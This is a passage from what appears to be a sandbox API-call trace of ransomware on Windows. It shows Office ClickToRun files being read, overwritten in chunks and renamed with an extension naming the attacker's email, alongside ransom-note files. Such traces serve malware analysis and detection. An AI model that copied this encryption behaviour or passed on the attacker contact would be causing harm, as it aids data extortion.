(lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\s641033.hash"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731")) returned 1 [0083.878] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0083.879] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34226e8) returned 1 [0083.879] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\s641033.hash", dwFileAttributes=0x20) returned 0 [0083.879] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x3494b38 [0083.879] wcscpy (in: _Dest=0x3494b38, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\" [0083.879] wcscat (in: _Dest=0x3494b38, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\D0E731-Readme.txt" [0083.879] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\d0e731-readme.txt")) returned 0x20 [0083.879] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3494b38) returned 1 [0083.879] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f7c98) returned 1 [0083.879] RtlExitUserThread (Status=0x1) Thread: id = 1126 os_tid = 0x3fc [0082.785] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat")) returned 0x20 [0084.187] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat", dwFileAttributes=0x20) returned 1 [0084.192] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x670 [0084.192] GetFileSizeEx (in: hFile=0x670, lpFileSize=0x2803fc00 | out: lpFileSize=0x2803fc00*=882628) returned 1 [0084.192] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0xd77c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.192] ReadFile (in: hFile=0x670, lpBuffer=0x2803fbd4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2803fbd0, lpOverlapped=0x0 | out: lpBuffer=0x2803fbd4*, lpNumberOfBytesRead=0x2803fbd0*=0x4, lpOverlapped=0x0) returned 1 [0084.193] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.193] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d898 [0084.193] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d8e8 [0084.193] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d960 [0084.194] NtQuerySystemTime (in: CurrentTime=0x2803fbac | out: CurrentTime=0x2803fbac*=132121176420860030) returned 0x0 [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0xbeea7b8d [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0x5d584b5 [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0xf4896de5 [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0x5b60908b [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0x900f18bc [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0x6e0f5ee3 [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0xc59ebb7a [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0x12286d17 [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0xf0703c8f [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0x70b79f7e [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0x25ebffb3 [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0xbc3c71cd [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0x95347e93 [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0xde863ed3 [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0xdaf16d9 [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0x6ce8dcb [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0xdc83dd6a [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0xe4cf80f0 [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0xf3d7a1ac [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0xfec5f5bf [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0x1a336c4d [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0x813e0461 [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0x979b89a5 [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0x26543eb7 [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0xc2c5273f [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0x8609099e [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0x8e633f0f [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0x8238103b [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0xbc929f31 [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0x81229377 [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0x6d303424 [0084.194] RtlRandom (in: Seed=0x2803fbb8 | out: Seed=0x2803fbb8) returned 0x83735c49 [0084.207] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0084.207] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d898) returned 1 [0084.207] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0084.207] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.207] ReadFile (in: hFile=0x670, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2803fb6c, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2803fb6c*=0x4096, lpOverlapped=0x0) returned 1 [0084.208] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.208] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd1f0 [0084.208] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480048 [0084.208] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dac8 [0084.208] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dac8) returned 1 [0084.209] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.209] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dbb8 [0084.209] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d898 [0084.209] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d898) returned 1 [0084.209] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480048) returned 1 [0084.209] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd1f0) returned 1 [0084.209] WriteFile (in: hFile=0x670, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2803fb6c, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2803fb6c*=0x4096, lpOverlapped=0x0) returned 1 [0084.209] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.209] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x6cfd2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.209] ReadFile (in: hFile=0x670, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2803fb6c, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2803fb6c*=0x4096, lpOverlapped=0x0) returned 1 [0084.211] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x6cfd2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.211] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce90 [0084.211] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347f9b8 [0084.211] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342dbe0 [0084.211] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dbe0) returned 1 [0084.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d898 [0084.212] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342db68 [0084.212] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342db68) returned 1 [0084.212] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f9b8) returned 1 [0084.212] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce90) returned 1 [0084.212] WriteFile (in: hFile=0x670, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2803fb6c, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2803fb6c*=0x4096, lpOverlapped=0x0) returned 1 [0084.212] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.212] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0xd372e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.212] ReadFile (in: hFile=0x670, lpBuffer=0x348d230, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x2803fb6c, lpOverlapped=0x0 | out: lpBuffer=0x348d230*, lpNumberOfBytesRead=0x2803fb6c*=0x4096, lpOverlapped=0x0) returned 1 [0084.213] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0xd372e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.213] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0084.213] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0084.213] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d9d8 [0084.213] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d9d8) returned 1 [0084.213] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b6388 [0084.214] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342da50 [0084.214] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d9d8 [0084.214] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d9d8) returned 1 [0084.214] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0084.214] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0084.214] WriteFile (in: hFile=0x670, lpBuffer=0x34b6388*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x2803fb6c, lpOverlapped=0x0 | out: lpBuffer=0x34b6388*, lpNumberOfBytesWritten=0x2803fb6c*=0x4096, lpOverlapped=0x0) returned 1 [0084.214] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b6388) returned 1 [0084.214] WriteFile (in: hFile=0x670, lpBuffer=0x342dbb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2803fbc8, lpOverlapped=0x0 | out: lpBuffer=0x342dbb8*, lpNumberOfBytesWritten=0x2803fbc8*=0x20, lpOverlapped=0x0) returned 1 [0084.214] WriteFile (in: hFile=0x670, lpBuffer=0x342d898*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2803fbc8, lpOverlapped=0x0 | out: lpBuffer=0x342d898*, lpNumberOfBytesWritten=0x2803fbc8*=0x20, lpOverlapped=0x0) returned 1 [0084.214] WriteFile (in: hFile=0x670, lpBuffer=0x342da50*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2803fbc8, lpOverlapped=0x0 | out: lpBuffer=0x342da50*, lpNumberOfBytesWritten=0x2803fbc8*=0x20, lpOverlapped=0x0) returned 1 [0084.214] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348d230) returned 1 [0084.214] WriteFile (in: hFile=0x670, lpBuffer=0x342d9b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2803fbd0, lpOverlapped=0x0 | out: lpBuffer=0x342d9b0*, lpNumberOfBytesWritten=0x2803fbd0*=0x8, lpOverlapped=0x0) returned 1 [0084.214] WriteFile (in: hFile=0x670, lpBuffer=0x2803fbe8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2803fbd0, lpOverlapped=0x0 | out: lpBuffer=0x2803fbe8*, lpNumberOfBytesWritten=0x2803fbd0*=0x4, lpOverlapped=0x0) returned 1 [0084.214] WriteFile (in: hFile=0x670, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2803fbd0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2803fbd0*=0x4, lpOverlapped=0x0) returned 1 [0084.215] WriteFile (in: hFile=0x670, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2803fbd0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2803fbd0*=0x6c, lpOverlapped=0x0) returned 1 [0084.215] WriteFile (in: hFile=0x670, lpBuffer=0x342d8e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2803fbd0, lpOverlapped=0x0 | out: lpBuffer=0x342d8e8*, lpNumberOfBytesWritten=0x2803fbd0*=0x20, lpOverlapped=0x0) returned 1 [0084.215] WriteFile (in: hFile=0x670, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2803fbd0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2803fbd0*=0x4, lpOverlapped=0x0) returned 1 [0084.215] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d8e8) returned 1 [0084.215] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d988) returned 1 [0084.215] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d9b0) returned 1 [0084.215] CloseHandle (hObject=0x670) returned 1 [0084.215] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x120) returned 0x3479980 [0084.215] wcscpy (in: _Dest=0x3479980, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat" [0084.215] wcscat (in: _Dest=0x3479980, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731" [0084.215] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731")) returned 1 [0084.216] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0084.216] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479980) returned 1 [0084.217] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\stream.x64.en-us.man.dat", dwFileAttributes=0x20) returned 0 [0084.217] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xd2) returned 0x34938d8 [0084.217] wcscpy (in: _Dest=0x34938d8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\" [0084.217] wcscat (in: _Dest=0x34938d8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\D0E731-Readme.txt" [0084.217] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\19B11135-37BD-4FA1-A78E-C20CA2BDA1C0\\en-us.16\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\19b11135-37bd-4fa1-a78e-c20ca2bda1c0\\en-us.16\\d0e731-readme.txt")) returned 0x20 [0084.217] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34938d8) returned 1 [0084.217] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34332f0) returned 1 [0084.217] RtlExitUserThread (Status=0x1) Thread: id = 1127 os_tid = 0x4a8 [0082.786] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml")) returned 0x20 [0084.173] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml", dwFileAttributes=0x20) returned 1 [0084.173] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\201EB7DF-C721-4B8B-9C81-A09DE7F931E6\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\201eb7df-c721-4b8b-9c81-a09de7f931e6\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x670 [0084.173] GetFileSizeEx (in: hFile=0x670, lpFileSize=0x280bfecc | out: lpFileSize=0x280bfecc*=21009) returned 1 [0084.173] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x520d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.173] ReadFile (in: hFile=0x670, lpBuffer=0x280bfea0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x280bfe9c, lpOverlapped=0x0 | out: lpBuffer=0x280bfea0*, lpNumberOfBytesRead=0x280bfe9c*=0x4, lpOverlapped=0x0) returned 1 [0084.174] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.174] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d898 [0084.175] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d8e8 [0084.175] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d938 [0084.175] NtQuerySystemTime (in: CurrentTime=0x280bfe78 | out: CurrentTime=0x280bfe78*=132121176420704140) returned 0x0 [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0x253f0136 [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0x5dfee7ad [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0xe559dee9 [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0xcd871d64 [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0x58091037 [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0x86ed814f [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0x7a87f626 [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0x7d5b46f [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0xeb02c64 [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0xb38d76ab [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0x70291456 [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0xd235ee29 [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0xebd9c437 [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0xf4fa29dd [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0xe5fcbf99 [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0x85f67f08 [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0x5bd9477c [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0x9c4749dc [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0x1b4d408 [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0xe6b56915 [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0x6afb521e [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0x6dcfdd2d [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0x11c21fa7 [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0xeb6b9266 [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0x446d1fc6 [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0x2366b6f [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0x53f6bbe3 [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0xf2b8bf9 [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0x84f8ff90 [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0x8657232 [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0xb5d5955b [0084.175] RtlRandom (in: Seed=0x280bfe84 | out: Seed=0x280bfe84) returned 0x599d82e6 [0084.186] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0084.186] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d898) returned 1 [0084.186] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348d230 [0084.186] SetFilePointerEx (in: hFile=0x670, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.186] ReadFile (in: 